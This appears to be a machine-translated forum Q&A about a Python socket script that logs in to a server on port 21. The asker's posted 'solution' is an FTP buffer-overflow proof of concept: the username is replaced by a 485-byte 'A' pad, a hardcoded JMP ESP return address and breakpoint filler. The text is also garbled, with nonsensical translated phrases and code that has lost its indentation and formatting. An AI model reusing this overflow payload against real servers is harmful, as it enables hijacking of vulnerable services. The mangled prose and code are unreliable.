Я написал простой скрипт Python, который должен подключиться к серверу Telnet, используя имя пользователя и пароль.Python simulate введите ключ
Сценарий следующий:
#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
username = "whatever"
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response
connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response
connect.close()
Ошибка является:
Соединение работает, но я не могу имитировать клавишу ввода с:
connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response
connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response
Так почему это Безразлично Работа? спасибо :)
EDIT РЕШЕНИЕ:
#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
jmpesp= "\xED\x1E\x94\x7C"
username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] Verbindungs Fehler"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response
connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response
connect.close()
Эти строки выполняются? У вас есть 'sys.exit (1)' before, это остановит программу. – matiasg
Попробуйте удалить '\ r'. – cdarke
@ DominicJarmann, пожалуйста, разместите свое решение не как редактирование, а как отдельный ответ, который вы принимаете. – zubergu